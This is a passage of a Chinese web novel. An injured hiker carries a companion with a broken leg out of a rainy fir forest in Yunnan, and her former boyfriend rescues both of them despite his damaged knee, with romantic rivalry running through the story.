山里的厕所也很简陋,一个漏雨的茅草顶,底下水泥隔间简单组合一下,像个小迷宫,连帘子都没有,能挡住坑位就算能用。
李今晏出来后,朝她点了下头,还没走两步就被拦住了。
李今晏:“?”
伊夏冷着脸:“你从雪坡上滑下去的时候,陈梓川找你说什么了?”
刚才一路上她都压抑着没问,不代表她瞎。
她就站在陈梓川前面,明明就看见李今晏滑下去后他已经换到左手的
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登山杖,一瘸一拐要去救她的背影,以及,看到她停下后才垮下来的肩膀慢下来的步子。
她就知道!他们没这么简单!
李今晏无语:“能说什么?你说说,能说什么?”
伊夏皱眉:“你们是不是,旧情复燃了?”
李今晏不想理,白她一眼就要回山亭,伊夏猛地拉住她。
窄山道没有栅栏,两颗小石子被踢落,骨碌碌滚下山林,没了声响。
李今晏头疼:“你别这么敏感好吗?第一,陈梓川在能拉住我的时候,根本没拉住。第二,任何人摔下去,是个人都会去救的,哪怕没救上,也会来问问情况。”
“不会!”伊夏咽下一丝愤怒,掐得她手痛:“陈梓川不会问!”
她认识的陈梓川才没这么好心!
刚才拉她上大雪层的时候还以为只是在照顾她,结果一反常态的帮起所有人。现在想来,他只是在折磨自己的膝盖罢了……
伊夏的妆已经全脱了,她锐利似红玫的眼现在多了些清冷,嫣唇褪色,略显苍白。
李今晏看出她的生气,安抚似的拍拍她的手:“我真没和陈梓川旧情复燃,要是旧情复燃了,刚才下山这一路有必要一头一尾隔这么远吗?”
伊夏想哭,陈梓川一直跟在队伍末尾是因为他膝关节磨损剧痛,根本走不快。
她听罗美君说,陈梓川当年根本就没恢复好,差点造成不可逆的继发性关节软骨损伤。刚开始那一年,膝盖持续性疼痛、僵硬、畸形,再不好好休息就会造成严重的功能障碍。
所以这五年来,陈梓川再没碰过篮球。
他原本就不会来这种高海拔地方徒步的啊!云南到底有谁在啊?让他愿意祭出自己的身体也要来见。
伊夏仿佛被判刑那般心死如灰:“你真的不懂,你真的不懂……”
要告诉她陈梓川压抑深刻的感情吗?
不!
她才没那么好心!
看着她带着哭腔的声音,李今晏真是摸不着头脑了。她一把掀下冲锋衣的帽子,雨就这么打在头顶:“我到底要懂什么?懂他恨我入骨,还是懂他见死不救?”
她也很无奈很受伤啊……怎么又成了出气筒??
伊夏哭得更大声了:“李今晏,我真的嫉妒你……讨厌你……”
李今晏:“……”
有游客路过,两人只得侧着身,贴着湿漉漉的山体让道。
“你去上厕所吧……时间也不早了,我们还要赶路。”李今晏叹了口气,想拉下她的手。
有时候解决不了的情绪,直接跳过最好。
但伊夏攥的很紧,还是看着她哭:“你……你骗我,你还说帮我,这两天你到底说了什么有用信息??”
“我……”李今晏顿了下:“我这次回去,回去就真给你好好讲讲,好不好?”
伊夏哭着蹲下:“没用了呜呜呜!什么都没用了!”
李今晏弯着腰任她拉着,还在想到底怎么安抚。
就在这时!伊夏的背后突然传来一声狗叫!
“汪!”
是小白!
是伊夏极其讨厌的小白!
“啊!——”
伊夏被吓到连退了几步。
山道狭窄,她背后根本没有任何阻拦!惊慌之下的伊夏就这么踩空跌了下去!
李今晏被她死命拽着,也这么滚入了冷杉林……
8. 漩涡
五点过的山亭里。
关斯扬刚喂完罗美君喝水,又来关心对面的陈梓川,他轻拍陈梓川的膝盖:“怎么样,这个护膝好用吗?”
陈梓川坐在亭边,点点头道:“还行。”
喻炀偏头看他,疑惑道:“这位帅哥膝盖不好?”
陈梓川戴着冲锋衣的帽子,只能看见那高挺的鼻子,喻炀又前倾了一点,发现他唇色有些发白,额间也发汗。
不过大家都差不多这个样子,也没多想。
陈梓川斜看他一眼:“是,五年前废了。”
“嘶~”喻炀:“怎么回事?说来我听听?”
关斯扬笑:“你还懂这些?”
“啧,我急诊科医生啊。”喻炀手撑着大腿:“什么杂七杂八的,我都多少会一点儿,十项全不能嘛。”
关斯扬大笑。
静了两秒,陈梓川双唇轻启:“有机会的话,你会知道的。”
“机会?什么机会?”
“有机会的机会。”
“……”
关斯扬嗤笑一声,陈梓川又开始打哑谜了。他忽然想起了什么,问喻炀:“哎对了,你们明天走哪条线?”
看来是要继续组队,喻炀想了想,说:“大概是冰湖?一会儿问问今晏。”
这个难度高一些,但也还适中,今晏可能会选这个。
关斯扬大剌剌坐在陈梓川旁边,看着他道:“行啊,明天又一起。”
但罗美君说:“看看天气再说吧,万一一直下雨怎么办?我这个冲锋衣感觉快成次抛了。”
这个大牌根本不够防水,尽管有羽绒内胆,她还是觉得寒气刺骨。而且脚也磨出水泡,山顶很多积雪渗入,现在凉从脚底起,大概也被浸得发皱。
听到这话,关斯扬瞬间站起:“你冷吗?”
罗美君马上笑起来安抚他:“没有啦,我还好,就是等会回了客栈要好好休息一下,明天可能没力气呢。”
关斯扬看着她笑得邪魅:“这就没力气啦?这还没到晚上呢……”
“哎!”罗美君堵住他的话,害羞道:“又满嘴跑火车了。”
关斯扬坐到她旁边,握着她的手,看着她恬静的侧脸小声道:“这就不行了?”
罗美君不动声色的抽出手,看向别处:“他们都还在呢。”
陈梓川不知道在看哪里,喻炀倒是看得很开心,幻视他和李今晏。
“那行吧,都依你。回去了我们慢慢说……”关斯扬又拉过她的手抓着,看向对面两人:“那就,明天看情况约吧……”
他看了眼沉默的陈梓川,又问喻炀:“对了,你们这次徒步完就回家吗?还是继续旅游?”
喻炀吃下一块饼干:“我得回去了,不然同事的怨气都要把我湮灭了。今晏嘛,你忘啦?她是背包客呀,肯定是继续玩儿喽!”
“害,你瞧我这记性,差点忘了李今晏是酷酷的背包客哈哈哈哈。”关斯扬:“那当代徐霞客下一站准备去哪里呀!”
喻炀嘿嘿一笑:“听说她这次的路线准备一路往北,经四川到甘肃,然后可能会走个青甘大环线,后面我也不清楚了。”
“哦~四川啊。”关斯扬故意说得很大声,给某人做提示,但那人表情平淡,毫不在意。
喻炀又吃下一根火腿肠:“嗯呢,四川那边风景也很好。”
他大学就是四川的,到时候再找机会给李今晏做做向导。
罗美君看着天色开始变暗,看了看表,指针已经指到五点四十五,她说:“她们是不是去得有点久了?”
关斯扬不觉得:“女孩子嘛,上厕所不都……”
关斯扬被罗美君的眼神制住,剩下的话忽然就转了个弯:“是哈,就一个坑,按理说李今晏该回来了呀。”
罗美君面露疑惑。
喻炀:“会不会是两人陪着说话呢?我给发个消息……唉……水果手机信号不好。我去看看吧。”
喻炀站起身,走了出去。
陈梓川抱起手靠着亭柱,呵,她还真是有本事。有本事让所有人都围着她团团转。
看喻炀走远,关斯扬又问陈梓川:“怎么样,还跟不跟去四川?”
陈梓川回答的很快:“不。”
关斯扬哈哈一笑:“你承认你是跟来云南的了?”
陈梓川:“……”
十分钟后,喻炀回来了,他边大喘着气边跑,脸色苍白眼神惊慌,身后还跟着急匆匆的小白。
喻炀说出的话不异于平地惊雷:
“厕所没人。”
……
陈梓川转过头来,抬眼看他。
大家都知道这句话的意思,不止是厕所没人,是厕所和山道都没人,到处喊了叫了也没人……
关斯扬弹起身:“什么?!”
罗美君忽觉头皮发麻,呼吸骤停:“什么叫厕所没人?会不会在旁边拍照……”
罗美君说到后面声音越来越小,徒步了近10km,又下着小雨,没人会愿意这么累还浪费时间打卡……
喻炀来不及解释了:“我已经打过救援电话,我们快出发找人啊!!!!”
这时,沉默很久的陈梓川忽然出声:“我给她打电话。”
“我打过了!”喻炀大吼,但说完这句的他忽然顿住。
陈梓川怎么知道李今晏的电话?
他拧着眉看他,陈梓川的样子很奇怪。
就是那种说不上来,很微妙的压抑。他抱着的手早就松开,身体有种不自然的僵直。
喻炀犹豫着问:“你……你怎么存了今晏的电话?”
陈梓川站起身,嘴唇抿成一条直线,看着他一字一句:
“我没存,我背得下来。”
背得下来?
喻炀看着他极其熟练的打出一串数字,心下一凉:“你们,是什么关系?”
陈梓川把手机放在耳边,给了他最不想要的回答:“你想的那种关系。”
我想的?我……
喻炀恍然大悟……
呵,呵呵……他说怎么这么奇怪呢?关斯扬一直拉他聊天原来是在套话,这个陈梓川下午的时候阴阳怪气,看他的眼神根本算不上和善。
喻炀退了一步:“你就是那个死去的前任是吧?”
他看看陈梓川,又转头去看关斯扬和罗美君。
好好好!
骗子!
一群骗子!
罗美君站到两人中间:“你们别吵了行不行?现在最重要的是找人啊!”
关斯扬也看向陈梓川:“你也别打了,她五年前就换了号码,你……”
你不是打过……无数遍……
·
李今晏的世界变成了一片混乱的漩涡。
脚下突如其来的失重感袭来,她只觉天旋地转。
坚锐冰冷的碎石、湿滑肮脏的
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土植、尖锐的树枝…身体在陡坡上疯狂翻滚和撞击。
一块凸起的岩石狠狠硌在她的左肩下方,剧痛让她眼前一黑,几乎窒息。
紧接着,身体背部又重重撞在一段布满棱角的树根上,右腰被包里的水杯连环撞击,传来一阵令人牙酸的闷响和锐痛。
李今晏死死护着头,蜷缩着身体,不知道过了多久,在身体受到最后一次强力扭转后滚落终于停止,林间一片死寂。
李今晏闭着眼在地上一动不动,她的第一感觉是懵和晕,然后是累,累到就想这么躺倒睡过去……
从生理期的不适、早已渗入寒气的毛衣、徒步的酸痛、再到摔滑的惊心、陈梓川的‘再也不见’、伊夏的质问、最后再到带着这些五味杂陈滚入这云南大山……
这是,真正的身心俱疲!
“唉……”
李今晏轻轻叹了口气。
很快,这些身心俱疲又全部凝成了浑身剧痛,脑中的每根神经都开始疯狂叫嚣起来,身体止不住的痉挛让李今晏狠狠拧着眉,牙关颤抖。
不会残疾了吧……
李今晏忽然想起新闻里那些自.杀未遂断胳膊断腿的,死没死干净,还得麻烦年迈的父母辛苦照看一辈子。
方女士,真是对不起你啊……
但李今晏还没emo多久,就听见伊夏撕心裂肺的哭喊和呻吟。
还能叫得这么大声,还行,还活着。
李今晏被她吵得头疼,无奈之下,只得缓缓睁开眼。
天色渐暗,温度更低,雨珠从冷杉交错的枝桠间坠落,有的砸在松针上弹开,有的直直落进瞳孔。雨滴顺着额发滑落,脑后还能感受到土地的微凉。
李今晏乐观的想,这还真是天然冰敷啊……
李今晏先是动了动指头和腿。
“嘶——”,浑身抽痛得人直冒凉气。
但还好,还有感觉,没有直接断掉。
“别哭了!你哭得我头疼。”李今晏忍者痛喊了一声。
但伊夏的叫声愈发惨烈:“啊——李今晏——我是不是要死了——”
李今晏无语,慢慢挣扎着爬起来,一阵眩晕停止后,她简单检查了下自己:多处擦伤淤青,左肩右腰处剧痛,活动受限但还能动。
周围是茂密的冷杉林,地势较平,相比山势有些凹陷,不知道滚到哪里来了,但可以肯定的是,她们已经远离了主道。
不然伊夏嗷这么几嗓子,居然都没有人回应。
她迅速锁定了伊夏,她瘫在一片青苔边,短发凌乱,脸色惨白满头冷汗,右小腿以一个极不自然的角度扭曲着。
李今晏初步判断,大概是骨折了……
李今晏试着走了一步,“啊—”
浑身哪哪都痛。
她强忍着,瘸着腿走到伊夏身旁,发现她白皙的左脸上也被刮了一道五厘米的口子,巨大疼痛和恐惧让她语无伦次,哭泣不止。
李今晏叉腰低看着她,有些怨气:
“你能安静一会儿吗?”
如果不是她拽着,她根本不会摔下来!
“我怎么冷静啊!”伊夏还是哭个不停:“呜呜呜,真是倒霉死了!都是那个死狗!”
李今晏攥紧手,生气道:“你敢再骂一句试试?”
她那样子伊夏没见过,脸色很差,声音冰凉,伊夏闭上嘴,不敢多说了。只是依然还哼哼着,肩膀小幅抽搐以示难受。
9. 失温
手机没信号,呼唤也没人回,李今晏有些不知道该怎么办。
伊夏死咬着唇坐起后,问:“你有那种……叫什么来着……卫星电话吗?”
李今晏还在辨认方向,被她打断,很不爽:“我就一个小包,会备那种东西吗?”
“你不是背包客吗?”
“一般的背包客会被人拽跌到大山吗?”
“不是你我会到这里徒步吗?”伊夏继续:“不是你引来的死狗我会摔下来吗?!”
陈梓川不对你死心塌地我会找你吗!
伊夏闭着眼发泄:“死狗死狗死狗!”
两人就这么你一句我一句,眼看就要吵起来。
李今晏脸部肌肉紧绷,没有一丝血色,她冷冷地盯着地上的伊夏:“我刚说什么来着?”
“……”
伊夏心虚了一下,还是强迫自己把那口气顶上:“那又怎样?就是我把你拽下来的!你能怎么样!大不了大家一起死在这儿!”
李今晏听到这话,忽然冷笑了一声。
昏暗秘林里,这声音让伊夏心里发毛。她能感觉到,李今晏是真真实实的生气了。她黑着脸,从背上的黑包里拿出一卷绳子……
李今晏松开那卷红色静力绳:“卫星电话我没有,勒死人的绳索我是有的。”
伊夏挣扎着退了一步:“你……你干嘛?”
李今晏:“我体力不支,吃你的肉喝你的血,才能在他们找到我之前走出去。那种荒野求生解剖人性的电影,没看过啊?”
伊夏有些呼吸不畅。
李今晏把绳索一端圈在手上,继续说:“我刚才初步判断了一下,我们大概滚了有几百米,这里偏离主道荒无人烟,平时可能连采药的村民都不会路过。”
她轻声加了一句:“雨过不留痕,是动手的好地方。”
李今晏费劲跨过横倒的树干,朝她缓缓走去:“等不了明天,山里的野兽就会把你剩下的骨头嚼得渣都不剩,你那张漂亮脸蛋哟,就此消失在人间。”
伊夏强撑着:“呵,你开什么玩笑?”
李今晏:“我像是开玩笑的样子吗?”
李今晏的眼睛来回在她脖子上和绳子上扫来扫去,仿佛真的在看怎么勒更方便。
伊夏抬头紧盯着她,不可置信:“李,李今晏,你疯了?”
李今晏挑眉:“我疯了吗?”
伊夏双手撑着泥地,手在她看不到的地上乱摸:“不……不就骂了两句吗?你这么上纲上线???”
李今晏看着她惊恐的眼神,手里悄悄握着的石块,就快要绷不住。她趁机给伊夏拍了个照片:“嗯……记录一下哈。”
凶手还留证据?伊夏抬手挡住脸:“干嘛!?”
“那啥。”李今晏顺便给手机开了个省电模式,嘴角微勾:“回头摆堂里的呀,你说是什么?”
“????”
看着李今晏越来越近,伊夏突然朝着周围放声大叫:
“救命!”
“救命啊!有没有人!”
“救命啊——咳咳咳——呜呜呜。”
树林过于密集,声音被大量吸收,反射减弱,回音都不清晰。
“哈哈哈。”
表面上,李今晏堵着耳朵嘲笑起来,实际上,她已经大致判断出了坠落的位置。
伊夏猛地忍痛站起来,没两秒,浑身撕扯着又摔坐下去。
伊夏一把鼻涕一把泪,小脸脏污:“呜呜呜我错了,我真的错了!李今晏我不该骂狗不该找你麻烦,呜呜呜呜呜我真的真的错啦!”
李今晏没心情逗她玩了,顺着一阵惊叫,把静力绳拴了一圈在伊夏腰上。
伊夏睁开一只眼:“你干嘛???”
现在不勒脖子了?改勒腰??
几米的静力绳在伊夏小腹分叉,李今晏递给她:“先抓住。”
伊夏愣着,吸了吸冻出的鼻涕,乖乖听话。
李今晏把短围脖拿出来,从旁捡了几根树枝,给伊夏的右腿做了简易固定。
伊夏痛完,看她散落的碎发,吞吞吐吐道:“你……你不吃我?”
切,就这细皮嫩肉,吃了她也补充不了多少体力。李今晏白她一眼。
“嘘,从现在开始别说话,保持体力。”沉着声把她扶起来后,李今晏把包反背,然后背对着她半蹲,静力绳圈紧两人,再从伊夏的腿下穿过。
李今晏忍住痛,用力将伊夏向上颠一颠,让伊夏的臀部尽量紧贴自己的腰,然后趁身体绷紧时迅速拉紧绳子,打了个平死结。
最后,这个绳圈系统将伊夏的骨盆牢牢绑在了李今晏的腰臀上。
李今晏深吸一口气,用尽全身力气直起身。伊夏有将近170cm,虽然瘦,但巨大的重量仍压在她受伤的身体上,每一步都牵扯着疼痛的肌肉和骨骼。
李今晏辨认好方向,背着伊夏,就这么开始向冷杉林边缘一瘸一拐的走。
伊夏看着她做完这一切,终于忍不住,在她背上抽抽噎噎起来。
李今晏别开头,真的嫌弃:“能安静一会儿吗??”
伊夏努力缩住脸:“……”但没两分钟,她又开始哼哼唧唧起来。
李今晏不理,伊夏小声问:“我们为什么不在原地等呀?如果他们发现我们不见了,会不会找到这里来?”
“你没发现旁边斜坡持续有碎石滑落吗?想再被砸一次?而且已经快7点了,根本没人找来。”李今晏费力解释。
坐着等是有一线生机,九成冻死。但主动出发靠着自己,最多就是废两天,但她绝不会死。
伊夏不吭声了,抬起手给她挡雨。
朝着东边走了二十分钟,李今晏双腿重得像是灌了铅。
她忽然朝前摔去,手掌上扎了许多小刺。
伊夏整个人失去重心,一阵惊呼:“李李李今晏,要不你把我放下来?”
她其实真的有些不好意思,她知道李今晏虽然面上看不出什么伤,但一定也不好受。
李今晏咬着唇:“放…放不下来。”
“为什么?”
“死结。”
伊夏又在她背上小声抽泣起来:“李今晏,你……愿意做我朋友吗?”
她看着那后脑勺,忽然觉得一阵温暖。
李今晏闷哼一声,死命站起,身子摇摇晃晃有些站不稳。
她没说话,伊夏顿了下又说:“呜呜呜我真的没什么朋友,我觉得你人挺好的……陈梓川他喜欢你,没有喜欢错……”
伊夏还在絮絮叨叨,李今晏眼前的树林却忽然黑了一下,她膝盖不受控制地颤抖、打弯,却又在即将跪倒的瞬
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间猛地绷直,继续向前挪动。
是眼黑了?还是天彻底暗了?
李今晏分辨不出来。
天光彻底消下去,该怎么辨别方向?
伊夏:“李今晏?你有没有听到?”
过了很久。
李今晏声音很轻:“走不回去了。”
伊夏看到李今晏忽然掉头,朝原来的地方走去,她有些试探地问:“我们是……走错了吗?”
“嗯……走错了……”
刚才听到水流声,误以为是下村旁的神木河,实际可能是高山融雪形成的临时支流。
伊夏绝望,哭得更大声了。
李今晏借着这声音提神,清醒不少。她隐约听到牛铃铛声,但声源被山风扭曲,飘忽不定。
……
同样在哭的,还有山上的喻炀。
已经8点过了,他和关斯扬加上一组救援队疯找了两个小时,还是一无所获。
眼看着天色黑尽,连杉木的形态和轮廓都已看不清,找人都要带着头灯打着电筒。听扎西领队说,就算没摔死,再迟下去也要失温冻死。
三月底的冷杉林,夜晚还不到0度。刚才今晏就有点高反。他不敢想,真的不敢想……
今晏!我对不起你!
几米外的关斯扬接起电话,对面是陈梓川。
关斯扬还背着急救包,抹了把汗:“到客栈了?”
陈梓川的声音很冷静,冷静得反常:“是。”
关斯扬一脚踹开面前挡路的树枝:“你就给我好好休息好好让医生检查听到没!人我一定给你找到!”
刚才陈梓川刚从山亭下了木台阶,直接没站稳就跪了下去,关斯扬这才发现他膝盖已经到极限了,这一路上只不过是在强撑。
他又气又急,好说歹说,才把这犟牛劝了回去。
客栈里也很乱,陈梓川出声:“没人……”
她不在。
这……当然没有了,刚才不是跟老板娘通过电话?
关斯扬声音已经喊哑:“没事没事,这还有一大块区域没找呢……你就安心等她,等我们回来!”
可就在这时,不远处的扎西朝着对讲机里大喊:“报失踪吧!黄金一小时已过!雨也越来越大,脚印都冲没了!”
刚才沿着坡道下去几百米,所有疑似撞断的树枝灌木丛他们都下去了,可还是没有人……
喻炀脸上的不知道是泪还是雨,他嗡声道:“不不不,我还可以继续找的,我还有体力!”
扎西跳下一处山道,不知道在跟对讲机,还是在跟他们说:“没说不找啊,但我跟你们说哈,最多找到九点,不然这温度,这强度,我们几个再呆下去就是自杀。”
喻炀:“……”
“只到九点吗?”
电话里的陈梓川忽然问了句。
信号不好,电话里的声音断断续续,但他听到了关键。
关斯扬心里升起一丝极其不祥的预感,他慌忙解释:“不是!九点前肯定就找到了……”
“嘟-嘟-嘟-”
电话挂断了。
完了完了,关斯扬再拨回去,已经打不通……
不一会儿,罗美君的电话就打来。
“不好了!”
“陈梓川一个人往神瀑去了!”
10. 痛经
大雨中,陈梓川无意识地、一遍遍按亮手机屏幕看时间,又熄灭,反复用力揉搓眉心。
感受不到疼痛似的,他从最开始的快走慢慢变成小跑,再变成狂奔。
道路泥泞,摔倒,起来,再摔倒,再爬起……膝盖重重砸在崖边缘的碎石上,碎石割破裤子嵌入皮肉却毫无知觉。
有一次差点滚落山坡,幸好旁边有树枝让他抓了一把。
他们几乎是当天最后一批下山的徒步者,当他走到山道上,看到那踩空的划痕,折断的树枝,陈梓川第一反应是不相信。
周围的人都在慌张大喊,只他沉默如一座新坟。喉结剧烈滚动,像吞咽下一块烧红的炭。就那一刻,他极度克制中终于爆发一丝裂痕。
李今晏,我承认了,你真的很有本事。
李今晏,你要是敢玩失踪,我这辈子都不会原谅你。
李今晏,消失不是我说的再也不见。
他忽然哽住。
我撒谎了,李今晏……
我很想你,想到快疯了。
·
终于。
跑到下村和冷杉林中间的灌丛草甸区,陈梓川戴着头灯,在前方几十米处看到一个浑身泥泞、步履蹒跚的身影。
她正以一种近乎弓背爬行的姿态,极其缓慢地、一寸寸地向前挪动。那身体弯成一张弓,双腿剧烈地颤抖着,每一步都仿佛用尽了全身的力气,摇摇欲坠。
陈梓川几乎一眼就认出了李今晏,他大喊:“李今晏!!!”
那人没答。
李今晏分不清自己走了十分钟还是三小时,记忆碎片像被撕碎的胶片,伊夏的哭声和自己的喘息声交错闪回。
有时她会突然忘记自己在哪里,以为还在城市的街道上,直到伤口的锐痛将她拉回现实。
当看到远处下村零星的灯火时,李今晏哭都哭不出来了。最后一段路依然艰难,她体力已然达到极限。
她的背上伏着另一个毫无生气的人,一条被树枝和白色围脖简陋固定的腿无力垂下。
陈梓川只看了一眼,心疼的要死。
李今晏的每一步都微小得可怜,身体倾斜得几乎要倒下,全靠一股非人的意志力在硬撑。她可能完全没有察觉到灯光和来人,全部精神都集中在“下一步”上。
李今晏脸上混着汗水、雨水、泥污和干涸的血迹,眼神空洞却异常执着,只盯着前方地面的一小块地方。
衣服被雨水浸透,紧贴在身上,能看出身体因脱力和伤痛而无法控制的痉挛和颤抖。
伊夏脸色惨白如纸,毫无生气,费力抬起头来看到陈梓川的时候,以为是自己的幻觉。
陈梓川靠近了,听到李今晏一直在嘟囔着什么。
他又跑了两步才听清,那是:
“再走一步。”
“再走一步。”
“我可以的,再走一步……”
当血肉背叛意志,坚持会接管你的身体,带你杀出重围。
陈梓川呼吸都快停滞了,他不顾一切冲过去,一把将李今晏托住。
李今晏的手指因为长时间暴露在寒冷中而变得僵硬发白,指甲开始泛蓝。陈梓川死死拧着眉,暖住她的手:“李今晏!”
李今晏好像被这声喊回了神,气若游丝:“陈……陈梓川?”
不止指尖,整个心脏好像都开始因为这点儿温度回温。
陈梓川眼睛发酸:“是我,是我,是我……”
李今晏听到答案,想抽出手来,没抽动,她有气无力道:“呵,不好意思啊……让你失望了,我还活着。”
陈梓川一僵:“你……”
他索性闭嘴不说话了,用战术刀几下割断静力绳。伊夏就这么滑落李今晏的背。
陈梓川给关斯扬发了消息打了电话,脱下冲锋衣和羽绒内胆裹住她。
李今晏虚浮无力的将头搭在他肩膀上,就这么被他抱着,声音漂浮:“你满意了吗?我真的要死了。”
听到这话的陈梓川才是要被她气死了,他抱紧她,磨牙道:
“李今晏,你真的很懂如何毁掉我。”
“……呵……我……”
“别再说了。”陈梓川打断她:“我们先回去,我有好多话好多话,要跟你说。”
伊夏麻着脸坐在地上,她现在已经冻得快失去知觉了,声音很轻:“是呀,先回去……”
陈梓川看了看骨折的伊夏,顿了顿。伊夏看出了他的为难。
自己和李今晏,他只背得动一个。
伊夏用力扯出一个微笑,主动说:“选李今晏吧,她已经背了我一路。”
如果再被丢在这里,那将是毁灭性的。
伊夏看他还在纠结,继续道:“下村就在前面,你背着她去叫人,我就在这里等,不走。”
陈梓川看了她一眼。
这时候的李今晏直起身来:“陈梓川,选她,伊夏骨折需要马上治疗。而且……”
李今晏别过脸去:“二选一的时候,别选我。”
陈梓川不看她,还是没说话。
但挡风的人站起身,身侧忽然一阵冷风刮过,李今晏看到他走到了伊夏旁边。
看来他选了伊夏。
呵,行的。
伊夏忍着痛,手还撑着地下,她非常想哭:“陈,陈梓川,你不用管我的……李今晏她……”
“闭嘴。”陈梓川打断她,看她的眼神算不上温和。
伊夏就这么闭了嘴,被陈梓川粗暴地背起。
李今晏心里最后那束光,彻底熄灭了。她用尽全身力气嗤笑一声,缓缓闭上眼。
忽然觉得,就在这儿躺一辈子,也挺好的……
李今晏就这么彻底昏了过去。
“李今晏!”
两人一齐喊她,伊夏哭出了声。
陈梓川背好伊夏,并不用手拖着她的腿,伊夏有些费劲地勒着他的脖子:“陈梓川……我快掉下去了,怎么办?你能不能,托一下我的腿?”
陈梓川满是担心的看了眼李今晏,问她:“背不稳?”
伊夏吸吸鼻子:“是的。”
陈梓川发恨地说:
“那你就死这儿。”
伊夏不敢吭声了。
她看着陈梓川单膝跪地,又随着胸腔一阵闷哼,用力公主抱起李今晏,手上脖颈上青筋暴起。
伊夏呆住,她忽然就明白了。原来刚才的犹豫,只是在想要不要救她。
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原来她一直都是多余的那个。
陈梓川,从来就不会放弃李今晏。
两个人加起来将近200斤,陈梓川步步都陷在泥里。
他带着两人,一步一步,往光亮处走……
·
紫青稞,二楼楼道。
罗美君留在202,喻炀从里头出来,头发上还滴着水珠:“伊夏除了右脚踝,左肋骨应该也断了几根,今晚还是明早,直接转香格里拉大医院吧。”
关斯扬点点头,看了眼低着头坐在地上的陈梓川。他手上还攥着那根粉色发圈。
这时候,203门口的风铃一阵晃动,老板娘开门出来。
次仁四十来岁,长得矮胖,皮肤黝黑五官粗犷,典型藏族妇女的长相,穿着藏式五彩围裙,裙子跟着步伐的晃动而飘逸。
次仁提着李今晏湿透的衣服,操着蹩脚的汉话:“万幸啊!这姑娘命大!”
一句话,三个人的心都放下了。
陈梓川抬头。
“她都是硬伤、筋伤、肉伤,疼起来钻心剜骨,但骨头没断,神经应该没伤着,内脏也没事。不用急着往大医院送抢救,她现在最需要的是躺平。休息好了再去医院也不迟。”
次仁是村里有名的神医,关斯扬大大吐了口气,笑着看陈梓川:“那就好那就好哈哈哈。”
但是次仁继续,边描述还边指自己的:“她这肩膀、这脖子后背、还有这腰…全是发力承重的地方!这伤,寻常人一个地方就够躺半个月了,她带着这一身伤,还背着个人从林子里爬出来?!……这不是伤不致命的问题,是她这个人……太要强!太狠了!哦哟~我都这么大年纪了,没见过这么坚强的小卓玛。”
陈梓川闭了闭眼。
关斯扬听着都觉得疼,他继续问:“那她要休息多久?我们要不要进去照顾她?”
“哎—”次仁摆摆手,给他们看了看那湿透的浅蓝毛衣和黄色冲锋衣:“她现在最需要的是休息,已经失温了知道吗?再迟人就没了。”
关斯扬点点头。
“好的,谢谢老板娘。”喻炀深深看了眼203的木门,他从回客栈到现在,还没见到李今晏一眼。
次仁慢吞吞往楼梯间走:“哦对了,她来月经了,我会定期上来给她换卫生巾,你们不用太担心。”
次仁走了两步:“唉,不知道会不会肚子痛呢,要是痛的话,这姑娘也太令人心疼了哇……”
次仁说着说着,就下了第一层楼梯,就在这时。
“她不痛经。”
陈梓川说。
紧接着的喻炀肯定道:“她会。”
关斯扬一愣。
两人中间的这段空气又变得剑拔弩张。
次仁在楼梯上停住,回头:“什么?”
陈梓川偏头,定定的看着老板娘:“她不痛经,五年前我就知道。”
喻炀憋着气,不肯认输:“她现在会痛经,2月份我就知道。”
喻炀的“现在”两个字咬得很重。
关斯扬:“……”
空气凝滞了一瞬。
次仁来回看了他们两眼,最后扔下一句:
“你们俩都不许进203。”
11. 生气
李今晏这一觉,直接睡到了第三天傍晚。
她迷迷蒙蒙睁开眼,房间里很安静,拉着窗帘,还有些昏昏暗暗。
等她就这么看了天花板五分钟,彻底清楚的知道自己是躺在客栈床上了,李今晏才动了动手。
“啊—”
全身又酸又痛,像是被人打了一顿,她挣扎着去摸手机,手臂又被扯到:“嘶~”
终于拿到手机按开,刺眼屏幕瞬间亮起,李今晏闭了闭眼。再睁开,主页上显示3月29日。
竟然就这么躺了两天,躺到后面买的火车都错过了……
也不知道是谁把她背回来的,李今晏自顾自的想,是她躺在草地上被路过的村民发现了吗?还是陈梓川又回头来……
呸,应该不会是他。
唉,他怎么变得这样冰冷又心狠。
……
真的不是他吗?
李今晏还是忍不住想问。他真的选了伊夏吗?
算了,李今晏不想去纠结了,也不想就这么瘫着,尽管四肢像是重组一样痛,她还是挣扎着下床来。
拉开床头柜的小夜灯,暖黄灯光洒下。
掀开被子的李今晏惊讶的发现,她的衣服居然全换了。
她现在穿着一件极其宽松的纯棉淡粉睡衣,款式偏开襟,胸口有些发凉。
再往下看去,是一条米色的阔腿亚麻裤,裤脚处简单挽起,最下面,珊瑚绒的袜子暖暖裹住脚丫。回头去看,床上还有一个蓝白格子的暖脚袋。
衣服有股植物的清香和酥油的茶香,看来是老板娘。
李今晏稍微扯开袖子和裤腿看了眼,手臂上和腿上有多处淤青,还有些地方破了,伤的不重的已经结了疤。
她这才注意到,床头柜上摆着许多药膏。
李今晏慢吞吞踱出了203,一楼的热闹人声从楼梯那边传来,让她感觉很温暖。鬼门关走一趟,她更爱这样的人间烟火了。
但刚走到楼梯口,201的门就打开了,关斯扬提着冰袋从里面走出来。
李今晏站着没动,她有好多问题要问。
看到她的关斯扬差点惊地尖叫,他看了看已经合上门的201,忙捂住自己的嘴,双手又像扇贝一样在嘴边张开,声音很轻:“卧槽……你醒啦??”
她现在散着头发,乌丝如泼洒的浓墨,在素白的肌肤上漫开深浅不一的阴影,如此宽大的衣服显得整个人更瘦更轻。
李今晏点点头。
关斯扬想去扶她,被她摇头拒绝了。他又向她小幅度挥手:“来来来,来202,我有话跟你说。”
进了202,房间到处都是衣物和装备,李今晏扫了一圈,问:“罗美君呢?”
“去香格里拉照顾伊夏了。”关斯扬放下冰袋,给她抬了个凳子:“坐坐坐,你就别站着了。”
可不能把这祖宗给累着了。伊夏跟他们描述李今晏是怎么走错了路,又是怎么找对路,一步一步把她背回来时,他一个身强体壮的男人都发自内心的佩服。
“香格里拉?”
“是的,她肋骨好像断了几根。越野车直接来村里,昨天一大早拉走了。”
倒也是,伊夏的伤是她也觉得要直接送医院的程度。她自己翻滚的时候死命护着头蜷着身体,尽量用背部等厚重的部位去撞击,受的伤自然轻一些。
房间里开了暖空调,李今晏坐下又问:“给我讲讲吧,这几天都发生了什么?”
“行啊没问题。”关斯扬坐在床尾:“不过,你现在什么感觉?还疼不疼,痛不痛……还有什么地方不舒服?”
李今晏抬了抬手:“除了痛,没啥感觉。”
“好好好,那就好。”就像老板娘说的,应该没什么大问题,他问:“你们当时,是被网红小白吓到了才摔下来的?”
